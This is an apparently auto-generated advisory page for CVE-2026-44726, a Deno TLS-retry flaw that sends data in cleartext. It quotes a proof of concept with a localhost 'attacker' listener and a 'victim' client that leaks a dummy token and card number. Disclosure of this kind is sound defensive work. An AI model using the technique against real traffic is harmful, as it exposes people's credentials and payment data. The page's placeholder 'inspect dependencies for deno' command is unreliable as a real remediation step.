CVE-2026-44726: Deno Deno's TLS Retry Copies Stale Vulnerability

HIGH
Advisory Identifier: GHSA-chqv-56wv-7564
CVSS 7.4
CWE-319
Published
Advisory Summary

CVE-2026-44726 is a HIGH (CVSS 7.4) deno's tls retry copies stale vulnerability (CWE-319: Cleartext Transmission of Sensitive Information) affecting Deno libraries in the crates.io ecosystem. The issue involves deno's tls retry copies stale upgrade hook, risking plaintext traffic. Remediation is available by upgrading affected packages to version 2.7.8.

CVE-2026-44726 at a Glance

CVE Identifier CVE-2026-44726
GHSA Identifier GHSA-chqv-56wv-7564
Severity HIGH
CVSS v3.1 Base Score 7.4
CWE Classification CWE-319: Cleartext Transmission of Sensitive Information
Affected Product Deno
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 7.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-44726

To remediate this vulnerability, upgrade all affected Deno dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

deno fixed: 2.7.8
Upgrade deno to 2.7.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for deno

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-44726, inspect your project dependencies for Deno:

inspect dependencies for deno

Analyze the terminal output to locate any version of Deno in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.7.8), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-319: Cleartext Transmission of Sensitive Information, where the product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors. In Deno, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the `secureConnect` event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. **Affected APIs**: Applications using Deno's `node:tls` or `node:https` surface with `autoSelectFamily` enabled (the default) that wrote to the socket before the `secureConnect` event. ## Proof of concept `attacker.mjs` (captures whatever the client sends) ```ts import net from "node:net"; const server = net.createServer((socket) => { console.log("[attacker] client connected from", socket.remoteAddress); socket.on("data", (chunk) => { // If TLS were working, this would be an opaque ClientHello. // If the bug fires, we see the application payload in cleartext. console.log("[attacker] received", chunk.length, "bytes:"); console.log(chunk.toString("utf8")); }); }); server.listen(4444, "127.0.0.1", () => { console.log("[attacker] listening on 127.0.0.1:4444"); }); ``` `victim.mjs` (a normal-looking TLS client) ```ts import tls from "node:tls"; const socket = tls.connect({ host: "api.example.invalid", port: 4444, autoSelectFamily: true, // Node-compat default // First address is a black hole (nothing on [::1]:4444), // so autoSelectFamily falls back to the second address. // In a real attack, the on-path attacker arranges this via // routing, DNS, or by dropping the first SYN. lookup: (_host, _opts, cb) => { cb(null, [ { address: "::1", family: 6 }, // fails -> retry { address: "127.0.0.1", family: 4 }, // attacker ]); }, rejectUnauthorized: false, }); // Application writes BEFORE secureConnect — common pattern in // Node clients that pipe a request body or send a greeting. socket.write("POST /v1/charge HTTP/1.1\r\n"); socket.write("Authorization: Bearer sk_live_SECRET_TOKEN\r\n"); socket.write("Content-Type: application/json\r\n\r\n"); socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" })); socket.on("secureConnect", () => console.log("[victim] secureConnect")); socket.on("error", (e) => console.log("[victim] error:", e.message)); ``` In terminal 1 `deno run --allow-net attacker.mjs` In terminal 2 `deno run --allow-net victim.mjs` ### Expected vs. observed On a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with `0x16 0x03 0x01 …`), and the victim eventually errors out because the attacker isn't speaking TLS. On a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints: ``` [attacker] received 41 bytes: POST /v1/charge HTTP/1.1 Authorization: Bearer sk_live_SECRET_TOKEN ... ``` The bearer token, the request body, and the card number all appear in plaintext, even though the application used `tls.connect`.

CVE-2026-44726 Affected Deno Versions

1 component(s)
Fixed Versions:
2.7.8
Product / Package Ecosystem Affected Versions Fixed Version
deno
crates.io
≥ 2.0.0
< 2.7.8
2.7.8

References

Frequently Asked Questions

What is CVE-2026-44726?
CVE-2026-44726 is a security vulnerability in Deno involving Deno's TLS retry copies stale upgrade hook, risking plaintext traffic under CWE-319: Cleartext Transmission of Sensitive Information.
Which Deno versions are affected?
Affected versions include releases prior to 2.7.8 across affected packages: deno.
What version fixes CVE-2026-44726?
Upgrading to 2.7.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is deno affected?
Yes, deno is affected in releases prior to 2.7.8. Upgrade your dependency to 2.7.8 or later.
What is the CVSS score of CVE-2026-44726?
CVE-2026-44726 has a CVSS v3.1 base score of 7.4 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-44726?
CVE-2026-44726 is classified under CWE-319: Cleartext Transmission of Sensitive Information (The product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.).
How can I check crates.io dependencies for CVE-2026-44726?
Run the dependency tree command: 'inspect dependencies for deno'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-chqv-56wv-7564",
  "modified" : "2026-07-20T13:42:41Z",
  "published" : "2026-05-27T19:51:46Z",
  "aliases" : [ "CVE-2026-44726" ],
  "summary" : "Deno's TLS retry copies stale upgrade hook, risking plaintext traffic",
  "details" : "## Summary\n\nA flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. \n\nAs a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the `secureConnect` event travelled over the network unencrypted.\n\nA network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.\n\n**Affected APIs**: Applications using Deno's `node:tls` or `node:https` surface with `autoSelectFamily` enabled (the default) that wrote to the socket before the `secureConnect` event.\n\n## Proof of concept\n\n`attacker.mjs` (captures whatever the client sends)\n\n```ts\nimport net from \"node:net\";\n\nconst server = net.createServer((socket) => {\n  console.log(\"[attacker] client connected from\", socket.remoteAddress);\n  socket.on(\"data\", (chunk) => {\n    // If TLS were working, this would be an opaque ClientHello.\n    // If the bug fires, we see the application payload in cleartext.\n    console.log(\"[attacker] received\", chunk.length, \"bytes:\");\n    console.log(chunk.toString(\"utf8\"));\n  });\n});\n\nserver.listen(4444, \"127.0.0.1\", () => {\n  console.log(\"[attacker] listening on 127.0.0.1:4444\");\n});\n```\n\n`victim.mjs` (a normal-looking TLS client)\n\n```ts\nimport tls from \"node:tls\";\n\nconst socket = tls.connect({\n  host: \"api.example.invalid\",\n  port: 4444,\n  autoSelectFamily: true, // Node-compat default\n\n  // First address is a black hole (nothing on [::1]:4444),\n  // so autoSelectFamily falls back to the second address.\n  // In a real attack, the on-path attacker arranges this via\n  // routing, DNS, or by dropping the first SYN.\n  lookup: (_host, _opts, cb) => {\n    cb(null, [\n      { address: \"::1\",       family: 6 }, // fails -> retry\n      { address: \"127.0.0.1\", family: 4 }, // attacker\n    ]);\n  },\n\n  rejectUnauthorized: false,\n});\n\n// Application writes BEFORE secureConnect — common pattern in\n// Node clients that pipe a request body or send a greeting.\nsocket.write(\"POST /v1/charge HTTP/1.1\\r\\n\");\nsocket.write(\"Authorization: Bearer sk_live_SECRET_TOKEN\\r\\n\");\nsocket.write(\"Content-Type: application/json\\r\\n\\r\\n\");\nsocket.write(JSON.stringify({ amount: 100, card: \"4242424242424242\" }));\n\nsocket.on(\"secureConnect\", () => console.log(\"[victim] secureConnect\"));\nsocket.on(\"error\",         (e) => console.log(\"[victim] error:\", e.message));\n```\n\n\nIn terminal 1 `deno run --allow-net attacker.mjs`\nIn terminal 2 `deno run --allow-net victim.mjs`\n\n### Expected vs. observed\n\nOn a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with `0x16 0x03\n0x01 …`), and the victim eventually errors out because the attacker isn't speaking TLS.\n\nOn a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints:\n\n```\n[attacker] received 41 bytes:\nPOST /v1/charge HTTP/1.1\nAuthorization: Bearer sk_live_SECRET_TOKEN\n...\n```\n\nThe bearer token, the request body, and the card number all appear in plaintext, even though the application used\n`tls.connect`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "deno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.7.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44726"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/denoland/deno"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-319" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-27T19:51:46Z",
    "nvd_published_at" : "2026-06-23T18:17:48Z"
  }
}